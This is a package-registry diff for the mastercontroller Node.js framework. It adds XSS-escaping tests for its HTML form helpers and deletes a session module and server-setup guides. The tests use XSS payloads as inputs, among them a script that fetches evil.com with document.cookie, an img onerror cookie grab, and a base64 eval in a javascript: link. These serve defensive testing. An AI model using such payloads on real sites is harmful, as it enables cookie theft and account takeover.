mastercontroller 1.3.1 → 1.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,190 @@
1
+ // XSS Protection Tests for MasterHtml.js
2
+ const master = require('../../MasterControl');
3
+ require('../../MasterHtml');
4
+
5
+ describe('XSS Protection in Form Helpers', () => {
6
+ let html;
7
+
8
+ beforeEach(() => {
9
+ // Create html instance (it's extended to master.viewList)
10
+ html = master.viewList.html;
11
+ });
12
+
13
+ describe('linkTo()', () => {
14
+ test('should escape malicious script in name', () => {
15
+ const result = html.linkTo('<script>alert("XSS")</script>', '/safe');
16
+ expect(result).not.toContain('<script>');
17
+ expect(result).toContain('&lt;script&gt;');
18
+ });
19
+
20
+ test('should escape malicious javascript in href', () => {
21
+ const result = html.linkTo('Click', 'javascript:alert("XSS")');
22
+ expect(result).toContain('href="javascript');
23
+ expect(result).not.toContain('href=javascript'); // Should be quoted
24
+ });
25
+
26
+ test('should escape quote injection', () => {
27
+ const result = html.linkTo('Click', '" onmouseover="alert(\'XSS\')"');
28
+ expect(result).toContain('&quot;');
29
+ expect(result).not.toContain('onmouseover=');
30
+ });
31
+ });
32
+
33
+ describe('imgTag()', () => {
34
+ test('should escape XSS in alt attribute', () => {
35
+ const result = html.imgTag('<script>alert("XSS")</script>', '/image.jpg');
36
+ expect(result).not.toContain('<script>');
37
+ expect(result).toContain('&lt;script&gt;');
38
+ });
39
+
40
+ test('should escape onerror handler', () => {
41
+ const result = html.imgTag('test', '/image.jpg onerror=alert(1)');
42
+ expect(result).toContain('&quot;');
43
+ expect(result).toMatch(/src=".*onerror.*"/); // Should be quoted
44
+ });
45
+
46
+ test('should have proper attribute quoting', () => {
47
+ const result = html.imgTag('test', '/image.jpg');
48
+ expect(result).toMatch(/src="[^"]+"/);
49
+ expect(result).toMatch(/alt="[^"]+"/);
50
+ });
51
+ });
52
+
53
+ describe('textFieldTag()', () => {
54
+ test('should escape malicious name', () => {
55
+ const result = html.textFieldTag('<script>alert(1)</script>', {});
56
+ expect(result).not.toContain('<script>');
57
+ expect(result).toContain('&lt;script&gt;');
58
+ });
59
+
60
+ test('should escape malicious attributes', () => {
61
+ const result = html.textFieldTag('username', {
62
+ value: '"><script>alert(1)</script><input type="hidden'
63
+ });
64
+ expect(result).not.toContain('<script>');
65
+ expect(result).toContain('&quot;&gt;&lt;script&gt;');
66
+ });
67
+
68
+ test('should properly quote all attributes', () => {
69
+ const result = html.textFieldTag('test', { value: 'normal', class: 'form-control' });
70
+ expect(result).toMatch(/name="[^"]+"/);
71
+ expect(result).toMatch(/value="[^"]+"/);
72
+ expect(result).toMatch(/class="[^"]+"/);
73
+ });
74
+ });
75
+
76
+ describe('hiddenFieldTag()', () => {
77
+ test('should escape malicious value', () => {
78
+ const result = html.hiddenFieldTag('test', '" onclick="alert(\'XSS\')"', {});
79
+ expect(result).not.toContain('onclick=');
80
+ expect(result).toContain('&quot;');
81
+ });
82
+
83
+ test('should escape additional attributes', () => {
84
+ const result = html.hiddenFieldTag('id', '123', {
85
+ 'data-foo': '"><script>alert(1)</script>'
86
+ });
87
+ expect(result).not.toContain('<script>');
88
+ });
89
+ });
90
+
91
+ describe('textAreaTag()', () => {
92
+ test('should escape message content', () => {
93
+ const result = html.textAreaTag('comment', '<script>alert("XSS")</script>', {});
94
+ expect(result).not.toContain('<script>');
95
+ expect(result).toContain('&lt;script&gt;');
96
+ });
97
+
98
+ test('should escape attributes', () => {
99
+ const result = html.textAreaTag('comment', 'safe', {
100
+ placeholder: '"><script>alert(1)</script>'
101
+ });
102
+ expect(result).not.toContain('<script>');
103
+ });
104
+ });
105
+
106
+ describe('submitButton()', () => {
107
+ test('should escape button name', () => {
108
+ const result = html.submitButton('<script>alert(1)</script>', {});
109
+ expect(result).not.toContain('<script>');
110
+ expect(result).toContain('&lt;script&gt;');
111
+ });
112
+
113
+ test('should escape attributes', () => {
114
+ const result = html.submitButton('Submit', {
115
+ onclick: 'alert(1)'
116
+ });
117
+ expect(result).toContain('onclick="alert(1)"'); // Escaped and quoted
118
+ });
119
+ });
120
+
121
+ describe('emailField()', () => {
122
+ test('should escape malicious attributes', () => {
123
+ const result = html.emailField('email', {
124
+ value: '"><script>alert(1)</script>'
125
+ });
126
+ expect(result).not.toContain('<script>');
127
+ });
128
+ });
129
+
130
+ describe('numberField()', () => {
131
+ test('should escape min/max/step values', () => {
132
+ const result = html.numberField('age', '"><script>alert(1)</script>', '100', '1', {});
133
+ expect(result).not.toContain('<script>');
134
+ expect(result).toContain('&quot;&gt;&lt;script&gt;');
135
+ });
136
+ });
137
+
138
+ describe('javaScriptSerializer()', () => {
139
+ test('should escape closing script tags', () => {
140
+ const data = { comment: '</script><script>alert("XSS")</script>' };
141
+ const result = html.javaScriptSerializer('userData', data);
142
+
143
+ // Should not contain unescaped </script>
144
+ expect(result).not.toMatch(/<\/script><script>/);
145
+ // Should contain escaped version
146
+ expect(result).toContain('\\u003c/script\\u003e');
147
+ });
148
+
149
+ test('should escape < and > characters', () => {
150
+ const data = { html: '<div>test</div>' };
151
+ const result = html.javaScriptSerializer('config', data);
152
+
153
+ expect(result).toContain('\\u003c');
154
+ expect(result).toContain('\\u003e');
155
+ });
156
+
157
+ test('should escape variable name', () => {
158
+ const result = html.javaScriptSerializer('<script>alert(1)</script>', { test: 'data' });
159
+ expect(result).toContain('&lt;script&gt;');
160
+ });
161
+ });
162
+
163
+ describe('Real-World Attack Scenarios', () => {
164
+ test('should prevent stored XSS attack', () => {
165
+ // Simulate stored XSS from database
166
+ const userComment = '<img src=x onerror=alert(document.cookie)>';
167
+ const result = html.textAreaTag('comment', userComment, {});
168
+
169
+ expect(result).not.toContain('onerror=');
170
+ expect(result).toContain('&lt;img');
171
+ });
172
+
173
+ test('should prevent reflected XSS attack', () => {
174
+ // Simulate reflected XSS from URL parameter
175
+ const searchQuery = '"><script>fetch("http://evil.com?c="+document.cookie)</script>';
176
+ const result = html.textFieldTag('search', { value: searchQuery });
177
+
178
+ expect(result).not.toContain('<script>');
179
+ expect(result).not.toContain('fetch(');
180
+ });
181
+
182
+ test('should prevent DOM-based XSS', () => {
183
+ const maliciousUrl = 'javascript:eval(atob("YWxlcnQoMSk="))';
184
+ const result = html.linkTo('Click', maliciousUrl);
185
+
186
+ // Should be quoted and escaped
187
+ expect(result).toMatch(/href="[^"]*"/);
188
+ });
189
+ });
190
+ });
package/MasterSession.js DELETED
@@ -1,208 +0,0 @@
1
-
2
- // version 0.0.22
3
-
4
- var master = require('./MasterControl');
5
- var cookie = require('cookie');
6
- var toolClass = require('./MasterTools');
7
- var crypto = require('crypto');
8
- var tools = new toolClass();
9
-
10
- class MasterSession{
11
-
12
- sessions = {};
13
- options = {
14
- domain: undefined,
15
- encode : undefined,
16
- maxAge: 900000,
17
- expires : undefined ,
18
- secure:false,
19
- httpOnly:true,
20
- sameSite : true,
21
- path : '/',
22
- secret : this.createSessionID()
23
- };
24
-
25
- init(options){
26
- var $that = this;
27
-
28
- // Combine the rest of the options carefully
29
- this.options = {
30
- ...this.options,
31
- ...options
32
- };
33
-
34
- if(this.options.TID){
35
- this.options.secret = TID;
36
- }
37
-
38
- // Auto-register with pipeline if available
39
- if (master.pipeline) {
40
- master.pipeline.use(this.middleware());
41
- }
42
-
43
- return {
44
- setPath : function(path){
45
- $that.options.path = path === undefined ? '/' : path;
46
- return this;
47
- },
48
- sameSiteTrue : function(){
49
- $that.options.sameSite = true;
50
- return this;
51
- },
52
- sameSiteFalse : function(){
53
- $that.options.sameSite = false;
54
- return this;
55
- },
56
- httpOnlyTrue : function(){
57
- $that.options.httpOnly = true;
58
- return this;
59
- },
60
- httpOnlyFalse : function(){
61
- $that.options.httpOnly = false;
62
- return this;
63
- },
64
- secureTrue : function(){
65
- $that.options.secure = true;
66
- return this;
67
- },
68
- securefalse : function(){
69
- $that.options.secure = false;
70
- return this;
71
- },
72
- expires : function(exp){
73
- $that.options.expires = exp === undefined ? undefined : exp;
74
- return this;
75
- },
76
- maxAge : function(num){
77
- $that.options.maxAge = num === undefined ? 0 : num;
78
- return this;
79
- },
80
- encode: function(func){
81
- $that.options.encode = func;
82
- return this;
83
- },
84
- domain : function(dom){
85
- $that.options.domain = dom;
86
- return this;
87
- }
88
- };
89
- }
90
-
91
- createSessionID(){
92
- return crypto.randomBytes(20).toString('hex');
93
- }
94
-
95
- getSessionID(){
96
- return this.secret;
97
- }
98
-
99
- setCookie(name, payload, response, options){
100
- var cookieOpt = options === undefined? this.options : options;
101
- if(typeof options === "object"){
102
- if(options.secret){
103
- response.setHeader('Set-Cookie', cookie.serialize(name, tools.encrypt(payload, cookieOpt.secret), cookieOpt));
104
- }else{
105
-
106
- response.setHeader('Set-Cookie', cookie.serialize(name, payload, cookieOpt));
107
-
108
- }
109
-
110
- }
111
- else{
112
- response.setHeader('Set-Cookie', cookie.serialize(name, payload, cookieOpt));
113
- }
114
- }
115
-
116
- getCookie (name, request, secret){
117
- var cooks = cookie.parse(request.headers.cookie || '');
118
-
119
- if(cooks){
120
- if(cooks[name] === undefined){
121
- return -1;
122
- }
123
- if(secret === undefined){
124
- if(cooks[name]){
125
- return cooks[name];
126
- }
127
- else{
128
- return -1;
129
- }
130
- //return cooks[name]? -1 : cooks[name];
131
- }
132
- else{
133
- return tools.decrypt(cooks[name], secret);
134
- }
135
- }
136
- else{
137
- return -1;
138
- }
139
- }
140
-
141
- deleteCookie (name, response, options){
142
- var cookieOpt = options === undefined? this.options : options;
143
- response.setHeader('Set-Cookie', cookie.serialize(name, "", cookieOpt));
144
- cookieOpt.expires = undefined;
145
- }
146
-
147
- // delete session and cookie
148
- delete(name, response){
149
- var sessionID = sessions[name];
150
- this.options.expires = new Date(0);
151
- response.setHeader('Set-Cookie', cookie.serialize(sessionID, "", this.options));
152
- delete this.sessions[name];
153
- this.options.expires = undefined;
154
- }
155
-
156
- // resets all sessions
157
- reset(){
158
- this.sessions = {};
159
- }
160
-
161
- // sets session with random id to get cookie
162
- set(name, payload, response, secret, options){
163
- var cookieOpt = options === undefined? this.options : options;
164
- var sessionID = this.createSessionID();
165
- this.sessions[name] = sessionID;
166
- if(secret === undefined){
167
- response.setHeader('Set-Cookie', cookie.serialize(sessionID, JSON.stringify(payload), cookieOpt));
168
- }
169
- else{
170
- response.setHeader('Set-Cookie', cookie.serialize(sessionID, tools.encrypt(payload, secret), cookieOpt));
171
- }
172
- }
173
-
174
- // gets session then gets cookie
175
- get(name, request, secret){
176
- var sessionID = this.sessions[name];
177
- if(sessionID){
178
- var cooks = cookie.parse(request.headers.cookie || '');
179
- if(cooks){
180
- if(secret === undefined){
181
- return cooks[sessionID];
182
- }
183
- else{
184
- return tools.decrypt(cooks[sessionID], secret);
185
- }
186
- }
187
- }
188
- else{
189
- return -1;
190
- }
191
- }
192
-
193
- /**
194
- * Get session middleware for the pipeline
195
- * Sessions are accessed lazily via master.sessions in controllers
196
- */
197
- middleware() {
198
- var $that = this;
199
-
200
- return async (ctx, next) => {
201
- // Sessions are available via master.sessions.get/set in controllers
202
- // No action needed here - just continue pipeline
203
- await next();
204
- };
205
- }
206
- }
207
-
208
- master.extend("sessions", MasterSession);
@@ -1,24 +0,0 @@
1
- ## Server setup: Hostname binding
2
-
3
- Bind the listener to a specific interface using `hostname` (or `host`/`http`).
4
-
5
- ### server.js
6
- ```js
7
- const master = require('./MasterControl');
8
-
9
- master.root = __dirname;
10
- master.environmentType = process.env.NODE_ENV || 'development';
11
-
12
- const server = master.setupServer('http');
13
- master.start(server);
14
-
15
- // Bind to localhost only
16
- master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
17
-
18
- master.startMVC('app');
19
- ```
20
-
21
- ### Notes
22
- - Use `0.0.0.0` to accept connections on all interfaces.
23
- - In production with a reverse proxy, bind to `127.0.0.1` so only the proxy can reach the app.
24
-
@@ -1,32 +0,0 @@
1
- ## Server setup: HTTP
2
-
3
- This example starts a plain HTTP server. Useful for local development, or when you run behind a reverse proxy that terminates TLS.
4
-
5
- ### server.js (HTTP)
6
- ```js
7
- const master = require('./MasterControl');
8
-
9
- // Point master to your project root and environment
10
- master.root = __dirname;
11
- master.environmentType = process.env.NODE_ENV || 'development';
12
-
13
- // Create HTTP server and bind it
14
- const server = master.setupServer('http');
15
- master.start(server);
16
-
17
- // Use either explicit settings or your environment JSON
18
- // Option A: explicit
19
- // master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
20
-
21
- // Option B: from env config at config/environments/env.<env>.json
22
- master.serverSettings(master.env.server);
23
-
24
- // Load your routes and controllers
25
- // If your routes are under <root>/app/**/routes.js
26
- master.startMVC('app');
27
- ```
28
-
29
- ### Notes
30
- - `master.serverSettings` now honors `hostname` (or `host`/`http`) if provided; otherwise it listens on all interfaces.
31
- - For production, prefer running behind a reverse proxy and keep the app on a high port (e.g., 3000).
32
-
@@ -1,32 +0,0 @@
1
- ## Server setup: HTTPS with direct credentials
2
-
3
- Pass key/cert (and optional chain/ca) directly to `setupServer('https', credentials)`.
4
-
5
- ### server.js (HTTPS credentials)
6
- ```js
7
- const fs = require('fs');
8
- const master = require('./MasterControl');
9
-
10
- master.root = __dirname;
11
- master.environmentType = process.env.NODE_ENV || 'production';
12
-
13
- const credentials = {
14
- key: fs.readFileSync('/etc/ssl/private/site.key'),
15
- cert: fs.readFileSync('/etc/ssl/certs/site.crt'),
16
- ca: fs.readFileSync('/etc/ssl/certs/chain.pem'),
17
- minVersion: 'TLSv1.2',
18
- honorCipherOrder: true,
19
- ALPNProtocols: ['h2', 'http/1.1']
20
- };
21
-
22
- const server = master.setupServer('https', credentials);
23
- master.start(server);
24
- master.serverSettings({ httpPort: 8443, hostname: '0.0.0.0', requestTimeout: 60000 });
25
- master.startMVC('app');
26
- ```
27
-
28
- ### Notes
29
- - Use a high port (e.g., 8443) to avoid running as root, or grant `CAP_NET_BIND_SERVICE` if binding to 443.
30
- - Strong defaults are ensured if you omit them, but explicitly setting them is recommended.
31
- - For multiple domains, see the TLS/SNI guide.
32
-
@@ -1,62 +0,0 @@
1
- ## Server setup: HTTPS via environment TLS (with SNI and live reload)
2
-
3
- This uses `config/environments/env.<env>.json` to configure TLS, SNI (multi-domain), HSTS, and watches cert files for live reload.
4
-
5
- ### Example env.production.json
6
- ```json
7
- {
8
- "server": {
9
- "httpPort": 8443,
10
- "hostname": "0.0.0.0",
11
- "requestTimeout": 60000,
12
- "tls": {
13
- "hsts": true,
14
- "hstsMaxAge": 15552000,
15
- "minVersion": "TLSv1.2",
16
- "honorCipherOrder": true,
17
- "alpnProtocols": ["h2", "http/1.1"],
18
- "default": {
19
- "keyPath": "/etc/ssl/private/site.key",
20
- "certPath": "/etc/ssl/certs/site.crt",
21
- "caPath": "/etc/ssl/certs/chain.pem"
22
- },
23
- "sni": {
24
- "example.com": {
25
- "keyPath": "/etc/ssl/private/example.key",
26
- "certPath": "/etc/ssl/certs/example.crt",
27
- "caPath": "/etc/ssl/certs/chain.pem"
28
- },
29
- "api.example.com": {
30
- "keyPath": "/etc/ssl/private/api.key",
31
- "certPath": "/etc/ssl/certs/api.crt",
32
- "caPath": "/etc/ssl/certs/chain.pem"
33
- }
34
- }
35
- }
36
- }
37
- }
38
- ```
39
-
40
- ### server.js (HTTPS from env)
41
- ```js
42
- const master = require('./MasterControl');
43
-
44
- master.root = __dirname;
45
- master.environmentType = process.env.NODE_ENV || 'production';
46
-
47
- // No credentials passed; MasterControl will auto-load TLS from env
48
- const server = master.setupServer('https');
49
- master.start(server);
50
- master.serverSettings(master.env.server);
51
- master.startMVC('app');
52
-
53
- // Optional: HTTP->HTTPS redirect (listen on 80)
54
- // master.startHttpToHttpsRedirect(80, '0.0.0.0');
55
- ```
56
-
57
- ### How it works
58
- - `default`: certs used when SNI domain does not match any entry.
59
- - `sni`: per-domain certificates; the server chooses the right cert via `SNICallback`.
60
- - Live reload: when any `keyPath`/`certPath`/`caPath` changes, the secure context is rebuilt in-memory (no restart needed).
61
- - HSTS: when enabled, responses over HTTPS include `strict-transport-security` with the configured max-age.
62
-
@@ -1,46 +0,0 @@
1
- ## Server setup: Nginx reverse proxy with HTTP→HTTPS redirect
2
-
3
- Recommended production pattern: Node app on a high port (HTTP), Nginx on 80/443 handling TLS and redirects.
4
-
5
- ### server.js (app on HTTP localhost:3000)
6
- ```js
7
- const master = require('./MasterControl');
8
-
9
- master.root = __dirname;
10
- master.environmentType = process.env.NODE_ENV || 'production';
11
-
12
- const server = master.setupServer('http');
13
- master.start(server);
14
- master.serverSettings({ httpPort: 3000, hostname: '127.0.0.1', requestTimeout: 60000 });
15
- master.startMVC('app');
16
- ```
17
-
18
- ### Nginx config
19
- ```nginx
20
- server {
21
- listen 80;
22
- server_name yourdomain.com;
23
- return 301 https://$host$request_uri;
24
- }
25
-
26
- server {
27
- listen 443 ssl http2;
28
- server_name yourdomain.com;
29
-
30
- ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem;
31
- ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem;
32
-
33
- location / {
34
- proxy_pass http://127.0.0.1:3000;
35
- proxy_set_header Host $host;
36
- proxy_set_header X-Real-IP $remote_addr;
37
- proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
38
- proxy_set_header X-Forwarded-Proto $scheme;
39
- }
40
- }
41
- ```
42
-
43
- ### Notes
44
- - Use certbot or another ACME client to manage certificates and renewals automatically.
45
- - This keeps Node unprivileged (no need to bind to 443) and simplifies TLS.
46
-